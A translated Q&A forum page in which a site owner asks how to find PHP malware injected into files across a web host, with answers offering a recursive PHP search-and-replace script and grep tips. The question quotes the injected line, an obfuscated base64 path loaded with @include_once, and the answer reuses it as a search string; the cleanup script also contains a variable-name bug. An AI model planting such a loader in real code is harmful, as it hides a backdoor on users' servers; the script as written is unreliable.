Код для поиска конкретного кода любого файла в каталоге и подкаталоге - PullRequest
1 голос
/ 11 мая 2011

Хорошо, я довольно новичок в php, но знаю, что он может читать каталоги и файлы.

Я боролся с проблемой вредоносного ПО на одном из наших сайтов, и мне нужно написать скрипт для его поиска на моем хост-пространстве.

Код, который хакеры вводят в файлы:

</p> <p> */ $DUOIEK = base64_decode("L2hvbWUvdXNlcnMvd2ViL2IxNjQzL3NsLnRoZWNoZXNzL3B1YmxpY19odG1sL01lZGNvdXJ0QmFja3Vwb2N0MjAwNy9NZWRjb3VydEJhY2t1cG9jdDIwMDctMi9iMmIgY3VzdG9tZXIvQnViYmxlcG9zdCBCYWNrIHVwL3B1YmxpY19odG1sL0JhY2t1cHMvTWVkaWFzdWZhY2UgMjAwNS9IZWxwIGFuZCBkb2N1bWVudGF0aW9uL2phdmEgYXBpL0phdmFBUEkvY29tL21lZGlhc3VyZmFjZS9kYXRhdHlwZXMvc2VhcmNoaW5nL2NsYXNzLXVzZS90c2Rlby5waHA="); @include_once $DUOIEK;/* */?>

Я понятия не имею, что это такое, но Google блокирует мой сайт, когда он появляется.

Мне нужно скачать все файлы, затем найти их в Dreamweaver, заменить это дерьмо пробелом и вернуть его обратно.

Мне нужен скрипт, чтобы обнаружить это до того, как это сделает Google.

Если кто-нибудь подскажет, это будет здорово

Я уверен, что с этой проблемой все или сейчас столкнутся.

Ответы [ 3 ]

1 голос
/ 11 мая 2011

Чистое решение PHP, которое найдет и заменит указанную вами строку.Кроме того, вы можете просто получить файлы, которые были изменены.Примечание: если вы используете этот код, есть опция NO UNDO , вы используете ее на свой страх и риск.

$dir = '/your_dir/';
$searchstring = '*/ $DUOIEK = base64_decode("L2hvbWUvdXNlcnMvd2ViL2IxNjQzL3NsLnRoZWNoZXNzL3B1YmxpY19odG1sL01lZGNvdXJ0QmFja3Vwb2N0MjAwNy9NZWRjb3VydEJhY2t1cG9jdDIwMDctMi9iMmIgY3VzdG9tZXIvQnViYmxlcG9zdCBCYWNrIHVwL3B1YmxpY19odG1sL0JhY2t1cHMvTWVkaWFzdWZhY2UgMjAwNS9IZWxwIGFuZCBkb2N1bWVudGF0aW9uL2phdmEgYXBpL0phdmFBUEkvY29tL21lZGlhc3VyZmFjZS9kYXRhdHlwZXMvc2VhcmNoaW5nL2NsYXNzLXVzZS90c2Rlby5waHA="); @include_once $DUOIEK;/* */?>'

$iterator = new RecursiveDirectoryIterator($dir);

foreach (new RecursiveIteratorIterator($iterator) as $filename => $cur) 
{
    // Search and replace

    $contents = file_get_contents($filename);   
    $contents = str_replace($searchstring, ' ', $content);  
    file_put_contents($filename, $contents);

    // Alternatively, you can do this (instead of search and replace)

    if(strpos($contents, $searchstring) !== false)
    {
        $infected[] = $filename; // gives you an array that gives you paths to files that contain the injected code.
    }
}

Вы можете запустить скрипт либо из браузера, либо из командной строки,Я не говорю, что это лучший вариант.

0 голосов
/ 11 мая 2011

Если у вас есть доступ по SSH, вы можете использовать команду типа this , просто замените "eval (base64_decode" на "base64_decode".

Если нет, то вы захотите написать скрипт, который выполняет рекурсивный цикл по всем вашим файлам с помощью readdir , а затем используйте магию strpos для обнаружения "base64_decode".

А если у вас действительно есть проблемы, я бы порекомендовал сторонний сервис, такой как sucuri .

Удачи!

0 голосов
/ 11 мая 2011

Загрузите все с вашего FTP и запустите поиск и замену для полного каталога (Dreamweaver поддерживает полные каталоги). Однажды у меня возникла эта проблема, вы, возможно, захотите поискать взломы javascript в своем коде, а они, как правило, также включают javascript.

Код взлома пытается включить этот файл:

/home/users/web/b1643/sl.thechess/public_html/MedcourtBackupoct2007/MedcourtBackupoct2007-2/b2b customer/Bubblepost Back up/public_html/Backups/Mediasuface 2005/Help and documentation/java api/JavaAPI/com/mediasurface/datatypes/searching/class-use/tsdeo.php

Что это? Я не знаю, но это то, что он пытается сделать. Так что вы могли бы подумать, что этот взлом сделан с сервера, на котором вы размещены, я думаю.

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...